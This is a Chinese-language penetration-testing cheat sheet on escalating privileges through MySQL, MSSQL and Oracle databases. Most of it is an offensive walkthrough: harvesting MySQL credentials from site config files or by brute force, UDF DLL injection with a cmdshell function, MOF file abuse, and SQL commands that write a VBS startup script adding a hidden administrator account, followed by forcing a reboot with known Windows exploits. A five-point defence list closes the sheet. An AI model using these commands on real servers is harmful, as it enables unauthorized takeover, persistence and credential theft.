数据库提权
Mysql
获取mysql账号密码
- 查看网站配置文件
- conn、config、data、sql、common 、inc
- 一、基于安全考虑root账户一般只能本地访问,但是在开发过程中可能需要打开root的远程访问权限。下面是基本的步骤:1、登录到mysql中,为root进行远程访问的授权,执行下面的命令: mysql> GRANT ALL PRIVILEGES ON . TO root@"%" IDENTIFIED BY “root”;mysql> flush privileges; 第一句中"%“表示任何主机都可以远程登录到该服务器上访问。如果要限制只有某台机器可以访问,将其换成相应的IP即可,如:GRANT ALL PRIVILEGES ON . TO root@“%” IDENTIFIED BY “root”;第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。
- 查看user.myi
数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd
- 参考:http://blog.sina.com.cn/s/blog_8028ba2f0100rzpt.html
- .通过暴力破解得到(hscan、Bruter、hydra、脚本木马)
- webshell破解、菜刀数据库连接、大马777.php、其它工具爆破
利用udf提权
- 一、上传udf.dll
- 主要解决mysql不能远程连接问题
- 小于mysql5.1版本
- C:\WINDOWS\udf.dll 或 C:\WINDOWS\system32\udf.dll
- 等于mysql5.1版本
- %mysql%\plugin\udf.dll 用 select @@plugin_dir 查询plugin路径
- 默认 C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/udf.dll 因为我们这里是在C:\php\MySQL-5.1.50\lib\plugin\udf.dll
- 1、UDF提权专用webshell,导出dll、再执行命令。
- 2、Phpspy.php的Mysql上传(提示 “上传失败、原因:Result consisted of more than one row”、实际上大多数已上传成功),再连接mysql执行命令。
- 3、Mysql允许外连的情况下也可以使用Hack MySQL上传,再通过命令行登陆执行命令。
- 二、执行SQL
- select cmdshell(‘net user’);
- select open3389();
- 三、低权限获取root密码
利用mod提权
- 1、mysql mof漏洞介绍:
- 2、MOF漏洞工具与脚本实战:
- 3、通过mysql数据库命令写入VBS脚本;
- 一、通过工具提权
- 二、手工通过webshell 数据库语句建帐号
- 1.找个可写目录,上传mof文件
- 2.执行sql
- select load_file(‘C:\wmpub\moon.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/moon.mof’;
- 注意新建的帐号每隔5分钟就会新建帐号,删除帐号的办法参考第二个连接地址。
- 4、直接通过Webshell的Mysql写入启动项;
- C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
- mysql>drop database test1;
- mysql> create database test1;
- mysql> use test1;
- mysql> create table a (cmd text);
- mysql>insert into a values (“set wshshell=createobject (”“wscript.shell”")");
- mysql>insert into a values (“a=wshshell.run (”“cmd.exe /c net user best best /add”",0)");
- mysql>insert into a values (“b=wshshell.run (”“cmd.exe /c net localgroup Administrators best /add”",0)");
- 注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
- mysql>select * from a;
- mysql>select * from a into outfile “c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs”;
- 最后通过溢出漏洞让服务器重启,如:MS12-020、MS15-034
Mssql
分类
- mssql提权主要分为弱口令与溢出两类提权。
- 通过弱口令连接直接提权
- 溢出类Mssql
工具提权
Oracle
Oracle数据库一般与jsp、aspx网站搭配,如果是jsp网站,默认是系统权限,apsx网站默认需要提权。
安全防御
1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。
2、不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并限格控制好权限。
3、及时升级数据库补丁。
4、安装Waf进行防御。
5、购买数据库审计设备